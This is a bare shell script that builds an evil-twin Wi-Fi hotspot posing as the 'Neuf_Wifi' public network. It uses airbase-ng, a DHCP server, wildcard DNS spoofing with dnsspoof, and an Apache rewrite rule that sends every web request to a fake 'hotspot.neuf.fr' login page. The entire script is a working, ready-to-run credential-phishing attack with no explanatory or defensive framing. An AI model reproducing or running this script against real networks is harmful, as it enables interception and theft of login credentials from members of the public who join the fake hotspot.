killall airbase-ng
sleep 1
killall airbase-ng
ifdown at0
airmon-ng stop mon0
sleep 1
airmon-ng start wlan0
sleep 1
modprobe tun
airbase-ng -c 11 -e Neuf_Wifi mon0 &
sleep 1
ifconfig at0 10.0.0.1 netmask 255.255.255.0 mtu 1500 up 
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
cat >/etc/default/dhcp3-server <<EOF
INTERFACES="at0"
EOF

cat >RogueAP/dns.txt <<EOF
10.0.0.1 *
EOF

cat >/etc/dhcp3/dhcpd.conf <<EOF
server-identifier hotspot.neuf.fr;
option domain-name "neuf.fr";
option domain-name-servers 10.0.0.1;
authoritative;
     
default-lease-time 42200;
max-lease-time 43000;

subnet 10.0.0.0 netmask 255.255.255.0 {
       server-name "hotspot.neuf.fr";
       option subnet-mask 255.255.255.0;
       option broadcast-address 10.0.0.255;
       option routers 10.0.0.1;
       range 10.0.0.50 10.0.0.200;}
EOF

/etc/init.d/dhcp3-server restart
cat >/etc/apache2/sites-enabled/000-default <<EOF
DocumentRoot /var/www/
ServerName   hotspot.neuf.fr 
<VirtualHost *:80>
	DirectoryIndex indexEncryptingChilli.php
        ServerAlias   hotspot.neuf.fr

        CustomLog     /var/log/apache2/access.log combined
        ErrorLog      /var/log/apache2/error.log
        LogLevel warn

        <IfModule mod_rewrite.c>
                RewriteEngine On
                RewriteLog /var/log/apache2/rewrite.log
		RewriteCond %{HTTP_HOST} !^hotspot\.neuf\.fr$ [NC]
                RewriteRule .* http://hotspot.neuf.fr/indexEncryptingChilli.php [R=301,L]
        </IfModule>
</VirtualHost>
EOF

a2enmod rewrite
/etc/init.d/apache2 restart
cp -r RogueAP/* /var/www/
chown -R www-data: /var/www/*
dnsspoof -i at0 -f RogueAP/dns.txt